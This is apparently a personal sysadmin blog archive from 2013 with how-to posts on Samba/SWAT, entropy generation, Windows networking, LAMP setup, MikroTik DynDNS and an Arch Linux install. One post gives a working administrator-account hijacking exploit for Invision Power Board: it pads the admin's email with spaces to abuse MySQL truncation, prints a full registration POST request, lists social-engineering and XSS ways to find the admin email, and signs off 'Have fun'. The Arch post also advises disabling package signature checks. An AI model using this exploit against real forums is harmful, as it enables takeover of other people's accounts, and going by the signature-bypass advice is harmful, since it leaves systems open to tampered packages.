Showing posts with label How-to. Show all posts
Showing posts with label How-to. Show all posts

Thursday, December 5, 2013

Administer samba shares via SWAT

,
Is it hard for you to play with smb.conf and other stuff? Are you afraid of doing any mistakes?
Then you have to think about using swat, the samba web administration tool.
We will first install samba, cifs-utils, swat and xinted, all needed for our SWAT installation.
sudo apt-get install samba cifs-utils swat xinetd
Then we will go ahead and enable swat in our internet service deamon,
sudo update-inetd --enable 'swat'
sudo dpkg-reconfigure xinetd
after xinetd, we will create the swat service.
sudo cat > /etc/xinetd.d/swat <<-EOF
service swat
{
port = 901
socket_type = stream
wait = no
user = root
server = /usr/sbin/swat
log_on_failure += USERID
disable = no
}
EOF
SWAT needs to have access to the smb.conf file to edit it automatically. We will now give those permissions and restart the xinetd service:
sudo chmod g+w /etc/samba/smb.conf
sudo chgrp adm /etc/samba/smb.conf
sudo service xinetd restart
By now you should be able to login to the administration tool via http://localhost:901/
Start sharing!
Read more →

How to generate entropy in few easy steps

,
You will possibly need this for a PGP key.. So how to generate entropy through a secure shell connection in an easy way?
You don`t have to smash the keyboard or move the mouse and stuff...

Install haveged, a simple entropy deamon.
apt-get install haveged
then type in -w with your bits:
haveged -w 4096
Now you can re-start your PGP-key entropy gatherer in order to finish quickly, right after it's done, you might consider removing haveged as i did.
apt-get remove haveged
Easy eh?
Read more →

Friday, November 29, 2013

Disable Automatic Private IP Addressing - APIPA

,
APIPA is Enabled
APIPA sometimes is tricky, giving us IPs in a range of 169.254.0.1 to 169.254.255.254
When a DHCP server fails, APIPA gives you an IP address. The client then verify that it's address is unique on the network by using ARP queries. Whenever a DHCP server sends the DHCPOffer packet, the clients requests a dhcp lease, thus leaving the APIPA addressing.

The best way to solve this is by heading to the registry editor and change a DWORD value to zero.
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameteres
IPAutoconfigurationEnabled: 0
Read more →

Friday, November 15, 2013

Transmission deamon - 409: Conflict - Invalid session-id header

,

How to solve?
Remove the default /web from your URL:
http://www.example.com/transmission/web
to
http://www.example.com/transmission
Read more →

Saturday, October 19, 2013

Vodaphone USB Broadband on Linux

,
What you will need:

  1. usb-modeswitch-2.0.1.tar.bz2
  2. usb_modeswitch-data
  3. libusb-1.x
Right after you install those files on your linux box, append these three lines in a terminal:
usb_modeswitch -WD -v 12d1 -p 1526 -n -M 555342437f0000000002000080000a11062000000000000100000000000000 -I -w 500
modprobe option
echo "12d1 14cf" > /sys/bus/usb-serial/drivers/option1/new_id
Open your network manager window, select Mobile Broadband, create a new connection and for connection settings leave them as default, just set the password to 1234.

Plug-in your Vodafone USB and that's it !
                                                                                                                                           [Source]

Read more →

Sunday, October 6, 2013

Disable ICMP ping responces on your linux box

,
Depends on the distribution you use you may be able to disable the ping responce in your box to add some complexity for the attackers or the 'bad guys'. In the video below i am going to show you how to append such configuration in your linux distro.
Disable ping reply
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
Enable ping reply
echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all
To make this permanent set the following into /etc/sysctl.conf
net.ipv4.icmp_echo_ignore_all = 1
ICMP Message Types
You can find more about ICMP here.

Read more →

Thursday, October 3, 2013

Enable TCP SYN cookie protection on your linux server

,
Normally when a client attempts to start a TCP connection to a server, the client and server exchange a series of messages which normally runs like this:
  1. The client requests a connection by sending a SYN (synchronize) message to the server.
  2. The server acknowledges this request by sending SYN-ACK back to the client.
  3. The client responds with an ACK, and the connection is established.
This is called the TCP three-way handshake, and is the foundation for every connection established using the TCP protocol.
A SYN flood attack works by not responding to the server with the expected ACK code. The malicious client can either simply not send the expected ACK, or by spoofing the source IP address in the SYN, causing the server to send the SYN-ACK to a falsified IP address - which will not send an ACK because it "knows" that it never sent a SYN.

The server will wait for the acknowledgement for some time, as simple network congestion could also be the cause of the missing ACK, but in an attack increasingly large numbers of half-open connectionswill bind resources on the server until no new connections can be made, resulting in a denial of service to legitimate traffic. Some systems may also malfunction badly or even crash if other operating system functions are starved of resources in this way.

The protection should be enabled by default in many distros.




Commands used:
sysctl -n net.ipv4.tcp_syncookies
nano /etc/sysctl.conf
sysctl -p

Read more →

Monday, July 29, 2013

Cisco router - Reset config

,
Start putty & connect to the communication's port with the default rates etc....
Restart the cisco router in order to break the boot sequence of the router by tapping the Break key.
breaking the boot sequence...
After you broke the boot sequence, issue the following command:
confreg 0x2142
"You must reset or power cycle for new config to take effect" is what you will face after the proper usage of the above command, reset by giving this:
reset
issuing the reset command...
Now, after some time it should start booting.. It will ask you if you`d like to start from scratch.. say yes/no depending what you actually want to config.

[...] ~config taking place

After the configuration, you have to exit the NVRAM ignorance mode by issuing the commands below:
config-reg 0x2102
Exit config# using Ctrl+C and then:
wr mem
reload
Hint: If you would like not to reset the router's configuration - altering the password only is done through the same way but answering no to the 'start from scratch' dialogue, then by saving the running configuration giving the copy start run command at that time. For more info reply below.
Read more →

Installing a LAMP server

,
LAMP is a combination of free, open source software. The acronym LAMP refers to the first letters of Linux (operating system), Apache HTTP Server, MySQL (database software), and PHP, Perl or Python, principal components to build a viable general purpose web server.

Install Linux:
just kidding...
  1. Install Apache:
  2. sudo apt-get install apache2
    After everything is finished, fire up a browser and type:
    http://localhost/
    you should see already a folder, if nothing is found then you have to re-install it. If you still can`t find a solution, drop a line below.
  3. Install PHP:
  4. sudo apt-get install php5 libapache2-mod-php5
    After everything is finished, we have to restart apache to get notified about php:
    sudo /etc/init.d/apache2 restart
  5. Install MySQL:
  6. sudo apt-get install mysql-server
    Then get access to console by typing:
    mysql -u root
    And change your password:
    mysql SET PASSWORD FOR 'root'@'localhost' = PASSWORD('P@$sw0rd');
    After that, install PHPMyAdmin:
    sudo apt-get install libapache2-mod-auth-mysql php5-mysql phpmyadmin
    Edit php.ini to work with phpmyadmin...
    gksudo gedit /etc/php5/apache2/php.ini
    And change this line:
    ;extension=mysql.so to extension=mysql.so
    Last thing is to restart apache to take care of MySQL too:
    sudo /etc/init.d/apache2 restart
    Go again at http://localhost and check what you've done!
Read more →

Wednesday, July 3, 2013

Icon not displayed correctly? Rebuild the icon cache.

,


This will work for Windows Vista, 7 or 8.




This is the default location of icon cache database
C:\Users\User-Name\AppData\Local\IconCache.db

Fire up cmd as an Administrator and give the following commands by turn:
ie4uinit.exe -ClearIconCache
taskkill /IM explorer.exe /F
DEL "%localappdata%\IconCache.db" /A
shutdown /r /f /t 00
This will force the IconCache.db to rebuild. 
Read more →

Tuesday, July 2, 2013

Export - Import a DHCP database on a Windows Server

,


Moving to another server? Backing up a windows server? Here you go:


1.
netsh dhcp server export c:\dhcpbackup.txt all

2. do not create a new scope in the dialogue, we're restoring a backup, remember?

3. after you disable your old dhcp server:

4.
netsh dhcp server import c:\dhcpbackup.txt all

Problems found:
If:
"An Internal Error Occurred"
then:
delete the following entries inside the txt before restoring:

006 DNS Server
015 DNS Domain Name
Read more →

Thursday, June 13, 2013

Control a windows service remotely

,
Too many standups moving inside a networking environment to control services on different windows machines. This post will show you how to control a service remotely.
Let's find out what's the name of the service which we're trying to control, to do so:
sc.exe \\HOSTNAME query
sc.exe is a service control application included in windows to control services in a remote computer.
The previous command will query the computer 'hostname' to show all of it's available services and statuses.

Now, it's time to control the service:
sc.exe \\HOSTNAME stop "NAMEOFSERVICE"

The full available control commands are available at "sc.exe /?"
Read more →

Wednesday, May 15, 2013

Unable to connect to network - Rebuild the TCP/IP stack

,
There's a bug when you just connect to a network but no packets are sent, nothing is happening, you havent got an IP address and nothing seems to be working... is the NIC broken? Check below how to fully reset the TCP/IP stack in order to get some things working back again:

  1. Go SafeMode & Networking.
  2. Delete these keys from regedit:
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Winsock
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Winsock2
  1. Open the nettcpip.inf file in your %winroot%/inf folder
    (%winroot% is usually c:/windows).
  2. Find the [MS_TCPIP.PrimaryInstall] section. Change the Characteristics value from 0xA0 to 0x80.
  3. Open the properties of the network connection you want to fix. In the General tab, click on the Install button. Click on the Have Disk button, and point the location to %winroot%/inf. After that select TCP/IPv4.
  4. Now you are able to uninstall TCP/IP, do it and reboot.
  5. Go back to your network connection, and install TCP/IP again & reboot, things must be working now.
  6. Open cmd and type the last thing to reset the txtlog:
netsh int ip reset resetlog.txt

Are you connected now? :)

Read more →

Tuesday, May 14, 2013

IPB all version - administrator account hijacking

,

Invision Power Board (abbreviated IPB, IP.Board or IP Board) is an Internet forum software produced by Invision Power Services, Inc. It is written in PHP and primarily uses MySQL as a database management system, although support for other database engines is available. While Invision Power Board is a commercially sold product, there is a large modding community and many of these modifications are free. In addition, many groups offer the download or design of free and paid skins.
  • Required data:
        1) Administrator's login name
The admin login is easily found by clicking on "The moderating Team" link on recent IPB's footer, or using the URL below: index.php?app=forums&module=extras§ion=stats&do=leaders

        2) Administrator's e-mail
Obtaining the admin e-mail may be more complicated as there is no automated way to get it. The attacker can get it through:
     - using whois on domain.tld to get registrar informations
     - looking up a prospective e-mail on Facebook and see if a matching profile shows up
     - using Gravatar (Gravatar is a personal avatar you can find on most blogs, forum, etc comments based on user e-mail address). Attacker can create a script to retrieve an email based on an avatar. For example mine is: http://www.john-jean.com/gravapwnd.php?zboob=john@wargan.com
     - do sourcing using FB, G+, Twitter, Google SERP, ...
     - use SE methods, such as faked e-mail catcher; or use XSSs on known websites consulted by the target.

  • Exploitation:

Previously, on this adviso: we saw that $email is not rejected if it contains spurious whitespace, and that $member_key & $v length is not checked. We also saw some MySQL use-cases. Let's see how we can exploit that:

The e-mail field from the `members` table in IPB is declared as a varchar(150).
Upon registration, we fill the mail member (or admin) for which we want to steal the account to which we add a padding space for the size of the string exceeds 150. Then we add any character after the space one. It is necessary to bypass ajax's validator, feel free to use Burp Suite or Tamperdata.

For example:
Real administrator's email: 'admin@admin.com'
Attacker's mail fill: 'admin@admin.com                                                                                                                                       AAAA'

The SELECT query checking existing e-mails will not yield any result:
SELECT * FROM members WHERE email='admin@admin.com                                                                                                                                       AAAA'

The new account is successfully created. Our account is now using the e-mail address below:
'admin@admin.com                                                                                                                                       '
AAAA has been deleted by MySQL: string exceeding 150 characters are truncated.

At this stage, we have two users with very similar e-mail addresses:
Administrator is: 'admin@admin.com'
Attacker is: 'admin@admin.com                                                                                                                                       '

POST HTTP request looks like (on registration page):

************************ BEGIN OF CODE ************************
POST /~codereview/IPB/index.php?app=core&module=global§ion=register HTTP/1.1
Host: gfy.wargan.com
User-Agent: Wargan/1.0 (WarganOS; Amstrad; rv:1.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://gfx.wargan.com/~codereview/IPB/index.php?app=core&module=global§ion=register
Cookie: session_id=00000000000; member_id=2; pass_hash=000000000000; ipsconnect_0000000000=1; coppa=0; rteStatus=rte
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 466

termsread=1&agree_to_terms=1&do=process_form&coppa_user=0&nexus_pass=1&time_offset=1&dst=1&members_display_name=pentest&EmailAddress=pentest%40wargan.com            A&PassWord=pentest&PassWord_Check=pentest&recaptcha_challenge_field=03AHJ_VuvGN728OMAVD0UvgLdylK1KAt8WH0N2aezZZpZfluTG8wJmfSyhiKM0zYb7io5sk62SQ9fQ2Y1XKqPOmEG0hW9DrThpXgEh-DU73qdpZ_OPxkO_v1xg2k1dJSOCk0wZcxufezfezefezFM0LSCwjJn7bbJJMk&recaptcha_response_field=mmotlyiinducted&agree_tos=1
************************* END OF CODE ***************************

We now can change our password. The profile corresponding to our session's e-mail will be used. As already stated, spaces are not taken in consideration. The query will thus actually return the first matching e-mail result: the real administrator account. We will have actually changed the password of the administrator profile.

This flaw is usable both on the registration page and on the user control panel (index.php?app=core&module=usercp&tab=core&area=email).
Have fun :)
Read more →

How-to remotely enable RDC in a LAN

,
Are you an administrator of a network who`d like to sit in his chair a bit longer without the disturbing movements inside that place? How about working remotely without effort? heh, enable Remote Desktop in this LAN easily:
  1. Log into a windows machine as an Administrator and start Registry Editor.
  2. Click on File menu and choose Connect to Network Registry.
  3. Type the host name of the remote computer or browse computers over the network by clicking “Advanced” button, then click ok.
  4. Find HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server.
  5. Find fDenyTSConnection, 1 = disabled, 0 = enabled, choose wisely :)
  6. You have turned RDP on in the remote machine.
There's also another, faster method:
reg add "\\COMPUTERNAME\hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0r
Change the underlined COMPUTERNAME with the target network computer, hf.
Read more →

Saturday, April 27, 2013

Mikrotik DynDNS configuration how-to

,

Mikrotik is so powerful but unfortunately it doesn't support dynamic DNS service without using a script...
I had to create a full new config before some days so i was searching for the DDNS option but couldn`t find a thing.

So after our dear friend google there seems to be a script to bypass this limit:




# Set needed variables
:local username "yourusername"
:local password "yourpassword"
:local hostname "yourdyndnsorgname.dyndns.org"
:global systemname [/system identity get name]

:if ($systemname = "Site1" ) do= {
:set hostname "yourdomain1.dyndns.org"
}
:if ($systemname = "Site2" ) do= {
:set hostname "yourdomain2.dyndns.org"
}
:if ($systemname = "Site3" ) do= {
:set hostname "yourdomain3.dyndns.org"
}

:global dyndnsForce
:global previousIP

# print some debug info
:log info ("UpdateDynDNS: username = $username")
:log info ("UpdateDynDNS: password = $password")
:log info ("UpdateDynDNS: hostname = $hostname")
:log info ("UpdateDynDNS: previousIP = $previousIP")

# get the current IP address from the internet (in case of double-nat)
/tool fetch mode=http address="checkip.dyndns.org" src-path="/" dst-path="/dyndns.checkip.html"
:local result [/file get dyndns.checkip.html contents]

# parse the current IP result
:local resultLen [:len $result]
:local startLoc [:find $result ": " -1]
:set startLoc ($startLoc + 2)
:local endLoc [:find $result "" -1]
:local currentIP [:pick $result $startLoc $endLoc]
:log info "UpdateDynDNS: currentIP = $currentIP"

# Remove the # on next line to force an update every single time - useful for debugging,
# but you could end up getting blacklisted by DynDNS!

#:set dyndnsForce true

# Determine if dyndns update is needed
# more dyndns updater request details available at http://www.dyndns.com/developers/specs/syntax.html
:if (($currentIP != $previousIP) || ($dyndnsForce = true)) do={
:set dyndnsForce false
:set previousIP $currentIP
/tool fetch user=$username password=$password mode=http address="members.dyndns.org" \
src-path="/nic/update?hostname=$hostname&myip=$currentIP" dst-path="/dyndns.txt"
:local result [/file get dyndns.txt contents]
:log info ("UpdateDynDNS: Dyndns update needed")
:log info ("UpdateDynDNS: Dyndns Update Result: ".$result)
:put ("Dyndns Update Result: ".$result)
} else={
:log info ("UpdateDynDNS: No dyndns update needed")
}
After we save the script, we have to add a new scheduled job in the event which we just made with an interval of.. let's say... 15 minutes?

Now you can 'remote access' easily.
Read more →

Tuesday, April 9, 2013

Kali linux - No action for laptop lid

,
So i was trying to figure out the actions of my laptop's lid without going in a deep mode terminal way again..., after a long search nothing seemed to be working..., tried several tools but none of them were actually changing the action of the lid.
So after some days i came accross the gnome-tweak-tool which i've already used in the past and now turns out to be really helpful...

apt-get install gnome-tweak-tool | gnome-tweak-tool

Under Shell you should be able to find:
'Laptop lid close action on battery'
'Laptop lid close action when on AC'

Again, this is a bug found in some hardware, if you haven't found the option in the menu then try this.
Read more →

Sunday, April 7, 2013

Backup - Restore MySQL databases easily

,
As an IT there should be enough computers running MySQL which you would like to take care or maybe advantage easier than just looking around the fs without idea...
Let's say you hack into a system and all you do is their database! Hah, i am kiding, though, we would like to backup this database for security reasons.... How's the fast way? or How can we do this in a script?


Below are some commands that may be handy from time to time for those who doesn't already know..


Backup MySQL Database
# mysqldump -u(username) –p(password) (databasename) > (dumpfile.sql)

Backup all MySQL Databases
# mysqldump -u(username) –p(password) --all-databases > (dumpfile.sql)

Backup a Remote MySQL Database
 # mysqldump -h(hostip) -u(username) –p(password) (databasename) > (dumpfile.sql)

Restore MySQL Database
# mysql -u(username) –p(password) (databasename) < (dumpfile.sql)

Restore a database that already exist on the target machine
# mysqlimport -u(username) –p(password) (databasename) < (dumpfile.sql)
Read more →

Monday, March 25, 2013

How to reduce or even remove packet loss in games

,
Back after a good day here in my soho, today i feel like posting a networking thread. So i`m gaming - anyone is gaming somehow - during a high packet loss there comes great ping - unable to play - rage!


How to minimise or remove packet loss completely?


There's a thing called MTU Limit which by default is set to 1500 in any system (unless jumbo frames) which is used to transfer packets across networks, actually it carries 1500 bytes of data in a single packet.
 - With jumbo frames that can go up to 9000 but that's another story. So why don't we go to check our current packet loss?


I`ll pick google.com for now, you can pick your gaming-server or anything that you connect to and needs some tweaking.

Run as Administrator command prompt & type:
netsh interface ipv4 show subinterfaces
after the execution you will notice a table where you can check your current MTU size, which by default should be 1500. -be sure to check your current established connection.

As you noticed it's 1500, so let's test now if it's actually that amount or a bit lower....
ping google.com -f -l 1472
-why i use a 1472 value? It's because 28 bytes are the ip/icmp overhead of the packet.

example of fragmented packets

Now, if your ping was successful - that means you saw a reply - then you're good to go!

But what if you notice the Packet needs to be fragmented but DF set ?
Your packets are getting fragmented - you have to reduce the MTU till you reach a successful ping.

I am getting replies with a lower MTU, now what?
Let's say i get replies when my MTU is down to 1423..., memorize this number & add 28.
Then:
netsh interface ipv4 set subinterface "Your connection name here" mtu=1451 store=persistent
 Your connection name here should be Local Area Connection

That was it , now you are set to go with 0% packet loss after restarting your computer.

Read more →

Saturday, January 26, 2013

How to: Install base ArchLinux, made simple

,

**I won't describe how to boot from usb/cd - just keep using another OS mate, :p

create partitions:
cfdisk /dev/sda
confirm partition:
fdisk -l /dev/sda
format partition:
mkfs.ext4 /dev/sda1 -L rootfs
mkswap /dev/sda2 -L swapfs
mount the first partition:
mount /dev/sda1 /mnt
check if you have internet connectivity using dhcp:
ip a
ip r
or else add static:
ip addr add 10.0.0.10/24 dev eth0
ip route add default via 10.0.0.200 dev eth0
confirm networking:
ip a
ip r
prepare rootfs:
mkdir -pv /mnt/var/lib/pacman
and install arch:
mkdir -pv /mnt//var/cache/pacman/pkg/
pacman -r /mnt --cachedir /mnt//var/cache/pacman/pkg/ -Sy base
sign keys:
rsync -rav /etc/pacman.d/gnupg/ /mnt/etc/pacman.d/gnupg/
bind mnt and change root:
mount --bind /dev /mnt/dev
mount --bind /sys /mnt/sys
mount --bind /proc /mnt/proc
chroot /mnt /bin/bash
edit fstab or use blkid:
nano /etc/fstab
/dev/sda1    /       ext4     defaults    0    1
/dev/sda2    none swap   defaults    0    1
change hostname:
echo ArchLinux > /etc/hostname
timezone and locale:
ln -s /usr/share/zoneinfo/Europe/Athens /etc/localtime
nano /etc/locale.gen and uncomment el_GR.UTF-8 etc...
locale-gen
create initramfs:
mkinitcpio -p linux
install grub:
grub-install --boot-directory=/mnt/boot /dev/sda
create grub.cfg:
grub-mkconfig -o /mnt/boot/grub/grub.cfg
add a menuentry:
nano /mnt/boot/grub/grub.cfg
eg:
menuentry "ArchLinux" {

    set root=(hd0,1)
    linux /boot/vmlinuz-linux root=/dev/sda1
    initrd /boot/initramfs-linux.img
}
reboot!
login and change root pwd:

passwd
---------
Up to here you should have a system running, if not please refer to Begginer's Guide.
---------
Some problems during installation:

  1. eth0 renames to some sort of enp2s1 or so - it's a bug (search tracker):
    You should rename enp2s1 to lan or something, how?
    nano /etc/udev/rules.d/10-network.rules
    then add:
     
    SUBSYSTEM=="net", ATTR{address}=="00:00:00:00:00:00", NAME="lan"
    then go at your network.service file to inform yor net svc to hold until it has been renamed:
    Requires=systemd-udev-settle.service
    After=systemd-udev-settle.service
    reboot - now you should see that eth0 dhpcd service failed to start:rm /etc/systemd/system/multi-user.target.wants/dhcpcd@eth0.service
    to remove eth0 svc from starting upon boot.
  2. Key signatures bypass:
    nano /etc/pacman.d/gnupg/gpg.conf
    change keyserver to:
    hkp://pgp.mit.edu:11371
    then hit this down to get keys:curl https://www.archlinux.org/{developers,trustedusers}/ |awk -F\" '(/pgp.mit.edu/) {sub(/.*search=0x/,"");print $1}' |xargs pacman-key --recv-keys
    after this:
    nano /etc/pacman.conf
    and change SigLevel to TrustAll or else untrusted source will occur.
---------
Up to here you should have a stable but somehow unsecure system running.
---------
Now install xorg:
pacman -Sy xorg
then kde:
pacman -Sy kde
reboot and start kde:
kdm

:) hf.
Read more →